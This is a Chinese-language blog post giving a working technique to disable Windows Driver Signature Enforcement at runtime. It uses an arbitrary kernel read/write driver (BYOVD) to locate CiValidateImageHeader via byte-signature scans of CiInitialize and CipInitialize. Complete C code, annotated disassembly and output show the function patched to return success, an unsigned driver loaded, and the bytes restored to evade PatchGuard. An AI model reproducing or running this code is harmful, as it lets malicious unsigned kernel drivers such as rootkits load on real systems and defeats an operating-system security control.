通过byovd任意内存读写驱动动态Patch绕过Windows驱动强制签名校验

首先你得有任意内存读写的能力,然后就是通过各种手段获得内核的cr3用来操作内核的虚拟地址,总之就是得有读写内核内存的能力

这种方法开了kvm可以用,但是hvci就不行了,咱们最多也就r0的权限,hvci这种r-1的东西会阻止你写内核内存

只讨论过系统签名验证的过程,驱动隐藏跟这个没关系不在讨论范围

0x00 原理

win内核负责验证签名的函数是ci.dll的CiValidateImageHeader函数,但是他不直接导出,所以我们得通过一些间接的方法拿到它的地址.

内核在初始化的时候调用ci.dll!CiInitialize函数,这个函数是内部CipInitialize函数的封装.在CipInitialize里动态绑定到传进来的SeCiCallback+0x20处,这样后续内核就能通过SeCiCallback+0x20来调用这个函数了.

理论上可以修改SeCiCallback+0x20这个地方保存的指针给他转到一个永真的内核函数上,但是SeCiCallback这个指针他自己也不导出,交叉引用涉及到的函数离可获取地址的导出函数调用距离都挺长的,特征码不好搜,所以不从这入手

我们patch cidll里这个函数的实现位置让它返回success就行了.

逻辑大概是先在ntoskrnl.exe导入表找到 ci.dll的CiInitialize函数地址,然后在这块虚拟地址往下暴搜5f c3字节序列函数尾声(pop rdi,retn)指令,如果找到了就在pop指令处-24字节偏移处查找是否是0xE8(call),然后从call后读出uint32的偏移,
给call所在地址+5+偏移得到CipInitialize函数的地址.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
; 函数名:CiInitialize
fffff805`7e5d39c0 48895c2408 mov qword ptr [rsp+8], rbx
fffff805`7e5d39c5 48896c2410 mov qword ptr [rsp+10h], rbp
fffff805`7e5d39ca 4889742418 mov qword ptr [rsp+18h], rsi
fffff805`7e5d39cf 57 push rdi
fffff805`7e5d39d0 4883ec30 sub rsp, 30h
fffff805`7e5d39d4 498bd9 mov rbx, r9
fffff805`7e5d39d7 418bf8 mov edi, r8d
fffff805`7e5d39da 488bf2 mov rsi, rdx
fffff805`7e5d39dd 8be9 mov ebp, ecx
fffff805`7e5d39df e824160a00 call FFFFF8057E675008 ; __security_init_cookie
fffff805`7e5d39e4 488b442460 mov rax, qword ptr [rsp+60h]
fffff805`7e5d39e9 4c8bcb mov r9, rbx
fffff805`7e5d39ec 448bc7 mov r8d, edi
fffff805`7e5d39ef 4889442420 mov qword ptr [rsp+20h], rax
fffff805`7e5d39f4 488bd6 mov rdx, rsi
fffff805`7e5d39f7 8bcd mov ecx, ebp
fffff805`7e5d39f9 e84e110000 call FFFFF8057E5D4B4C ; CipInitialize函数地址
fffff805`7e5d39fe 488b5c2440 mov rbx, qword ptr [rsp+40h]
fffff805`7e5d3a03 488b6c2448 mov rbp, qword ptr [rsp+48h]
fffff805`7e5d3a08 488b742450 mov rsi, qword ptr [rsp+50h]
fffff805`7e5d3a0d 4883c430 add rsp, 30h
fffff805`7e5d3a11 5f pop rdi
fffff805`7e5d3a12 c3 ret ; 函数尾声用来做特征码

然后就是去CipInitialize里找给SeCiCallback绑函数的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
; 函数名:CipInitialize ,略去上面的代码
fffff805`7e5d4d7a 0fba2d8ec2ffff0f bts dword ptr [0FFFFF8057E5D1010h], 0Fh
; 以下是绑定过程
fffff805`7e5d4d82 488d0517560000 lea rax, [0FFFFF8057E5DA3A0h] ; CiValidateImageHeader函数地址
fffff805`7e5d4d89 48894320 mov qword ptr [rbx+20h], rax ; 绑定到SeCiCallback+20
fffff805`7e5d4d8d 488d05ac930300 lea rax, [0FFFFF8057E60E140h]
fffff805`7e5d4d94 48894328 mov qword ptr [rbx+28h], rax
fffff805`7e5d4d98 488d05a12a0800 lea rax, [0FFFFF8057E657840h]
fffff805`7e5d4d9f 48894318 mov qword ptr [rbx+18h], rax
fffff805`7e5d4da3 488d0516380800 lea rax, [0FFFFF8057E6585C0h]
fffff805`7e5d4daa 48894308 mov qword ptr [rbx+8], rax
fffff805`7e5d4dae 488d05cb370800 lea rax, [0FFFFF8057E658580h]
fffff805`7e5d4db5 48894310 mov qword ptr [rbx+10h], rax
fffff805`7e5d4db9 488d05c0ebffff lea rax, [0FFFFF8057E5D3980h]

暴搜48 8D 05(lea rax,xxx),如果找到就在这个偏移处+7看是不是48 89 43 20(mov [rbx+20h], rax),如果这个也确定了那么在lea rax所在偏移处+3读取uint32字节的偏移再+7就是CiValidateImageHeader函数的地址.

然后先保存CiValidateImageHeader开头的四字节指令,替换成48 30 c0 c3(xor rax,rax;ret)
加载好后要迅速把值改回去,不然会触发patchguard蓝屏.

0x01关键代码

关键实现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
// 存储CiValidateImageHeader函数的虚拟地址,用于后续恢复
static ULONG64 s_CiValImgVA = 0;
// 保存CiValidateImageHeader开头原始的4字节指令,以便恢复
static BYTE s_CiValImgOrig[4];

/**
* @brief 禁用驱动强制签名(通过运行时修改内存中的CI验证函数)
*
* 核心思路:
* 1. 通过IDT(导入描述符表)找到ci.dll中的CiInitialize函数地址
* 2. 在CiInitialize附近搜索"pop rdi; retn"指令序列(0x5F 0xC3)
* 3. 在该pop指令前24字节处寻找call指令(0xE8),计算出CipInitialize函数地址
* 4. 在CipInitialize中搜索"lea rax, xxx"(48 8D 05),并验证其后是否为"mov [rbx+20h], rax"(48 89 43 20)
* 5. 从lea指令中提取偏移量,计算出CiValidateImageHeader函数地址
* 6. 将CiValidateImageHeader开头的指令替换为"xor rax, rax; ret"(48 30 C0 C3),使其始终返回成功
*
* @return bool 操作是否成功
*/
bool DisableDriverSignature() {
// 步骤1:通过IDT获取ci.dll中CiInitialize函数的导出地址
ULONG64 ciInit = GetImportedDllFunctionViaIDT(L"ci.dll", L"CiInitialize");
if (!ciInit) {
LOG_ERR("DisableDriverSignature: CiInitialize not found");
return false;
}
LOG_OK("CiInitialize = 0x%llX", ciInit);

BYTE buf[0x1000]; // 用于分页读取内存的缓冲区
ULONG64 cipInit = 0; // 目标函数CipInitialize的地址

// 步骤2:在CiInitialize附近的内存区域搜索特征码
// 以页面为单位扫描,范围覆盖CiInitialize前后各一页
for (ULONG64 scan = ciInit & ~0xFFFULL; scan < ciInit + 0x1000; scan += 0x1000) {
if (!KVMRead(scan, buf, sizeof(buf))) continue; // 读取失败则跳过该页
ULONG64 base = scan;

// 在当前页内逐字节搜索"5F C3"(pop rdi; retn)
for (int i = 0; i + 1 < (int)sizeof(buf); i++) {
if (buf[i] == 0x5F && buf[i + 1] == 0xC3) {
ULONG64 popAddr = base + i;
if (popAddr < ciInit) continue; // 确保pop指令在CiInitialize之后
if (popAddr - 24 < base) continue; // 确保call指令在当前页范围内

// 检查pop指令前24字节处是否为call指令(0xE8)
int callOff = i - 24;
if (buf[callOff] != 0xE8) continue;

// 步骤3:从call指令后的相对偏移计算出CipInitialize的实际地址
// call指令格式:E8 xx xx xx xx,其中xx是相对偏移
// 目标地址 = call指令地址 + 5(指令长度) + 相对偏移
INT32 disp = *(INT32*)(buf + callOff + 1);
cipInit = popAddr - 24 + 5 + disp;
LOG_OK("CipInitialize = 0x%llX", cipInit);
goto foundCip; // 找到后跳出循环
}
}
}
foundCip:
if (!cipInit) {
LOG_ERR("DisableDriverSignature: CipInitialize not found");
return false;
}

ULONG64 ciValImg = 0; // 目标函数CiValidateImageHeader的地址

// 步骤4:在CipInitialize函数体内搜索特征码
// 扩大搜索范围到4页(16KB),因为CipInitialize可能较大
for (ULONG64 scan = cipInit & ~0xFFFULL; scan < cipInit + 0x4000; scan += 0x1000) {
if (!KVMRead(scan, buf, sizeof(buf))) continue;
ULONG64 base = scan;

// 搜索"48 8D 05"(lea rax, [rip + offset])
for (size_t i = 0; i + 10 < sizeof(buf); i++) {
if (buf[i] == 0x48 && buf[i + 1] == 0x8D && buf[i + 2] == 0x05) {
// 验证lea指令后第7字节是否为"48 89 43 20"(mov [rbx+20h], rax)
if (i + 10 >= sizeof(buf)) continue;
if (buf[i + 7] != 0x48 || buf[i + 8] != 0x89 ||
buf[i + 9] != 0x43 || buf[i + 10] != 0x20)
continue;

// 步骤5:从lea指令中提取相对偏移,计算CiValidateImageHeader地址
// lea指令格式:48 8D 05 xx xx xx xx,其中xx是相对偏移
// 目标地址 = lea指令地址 + 7(指令长度) + 相对偏移
INT32 disp = *(INT32*)(buf + i + 3);
ciValImg = base + i + disp + 7;
LOG_OK("CiValidateImageHeader = 0x%llX", ciValImg);
goto foundVal; // 找到后跳出循环
}
}
}
foundVal:
if (!ciValImg) {
LOG_ERR("DisableDriverSignature: CiValidateImageHeader not found");
return false;
}

// 步骤6:保存原始指令并打补丁
s_CiValImgVA = ciValImg; // 记录地址供后续恢复使用

// 读取CiValidateImageHeader开头的原始4字节指令
if (!KVMRead(s_CiValImgVA, s_CiValImgOrig, sizeof(s_CiValImgOrig))) {
LOG_ERR("DisableDriverSignature: failed to read CiValidateImageHeader prologue");
return false;
}
LOG_INFO("CiValidateImageHeader orig bytes: %02X %02X %02X %02X",
s_CiValImgOrig[0], s_CiValImgOrig[1], s_CiValImgOrig[2], s_CiValImgOrig[3]);

// 写入补丁指令:xor rax, rax; ret(48 30 C0 C3)
// 这会使CiValidateImageHeader总是返回0(成功),从而绕过驱动签名验证
BYTE patch[4] = { 0x48, 0x30, 0xC0, 0xC3 };
if (!KVMWrite(s_CiValImgVA, patch, sizeof(patch))) {
LOG_ERR("DisableDriverSignature: failed to patch CiValidateImageHeader");
return false;
}
LOG_OK("Driver signature enforcement DISABLED");
return true;
}

/**
* @brief 恢复驱动强制签名(还原被修改的函数)
*
* 将之前保存的原始指令写回CiValidateImageHeader的开头,
* 使驱动签名验证功能恢复正常。
*
* @return bool 操作是否成功
*/
bool RestoreDriverSignature() {
if (!s_CiValImgVA) return false; // 没有有效的地址,说明之前未执行过禁用操作

// 将保存的原始4字节指令写回CiValidateImageHeader
if (!KVMWrite(s_CiValImgVA, s_CiValImgOrig, sizeof(s_CiValImgOrig))) {
LOG_ERR("RestoreDriverSignature: failed to restore");
return false;
}
LOG_OK("Driver signature enforcement RESTORED");
return true;
}

0x02 效果

1
2
3
4
5
6
7
8
[*] Searching import table for 'ci.dll!CiInitialize'...
[+] Found 'ci.dll' import descriptor at index 18
[+] 'ci.dll!CiInitialize' = 0xFFFFF8057E5D39C0
[+] CiInitialize = 0xFFFFF8057E5D39C0
[+] CipInitialize = 0xFFFFF8057E5D4B4C
[+] CiValidateImageHeader = 0xFFFFF8057E5DA3A0
[*] CiValidateImageHeader orig bytes: 48 89 5C 24
[+] Driver signature enforcement DISABLED

改好以后加载就行,加载完以后要把内核代码改回去,不影响已加载的驱动

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Windows\system32> sudo sc start MyTest

SERVICE_NAME: MyTest
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :

通过byovd任意内存读写驱动动态Patch绕过Windows驱动强制签名校验
https://www.hakurei.org.cn/2026/06/28/Bypassing-Windows-Driver-Signature-Enforcement-via-Runtime-Memory-Patching/
作者
zjkimin
发布于
2026年6月28日
更新于
2026年6月28日
许可协议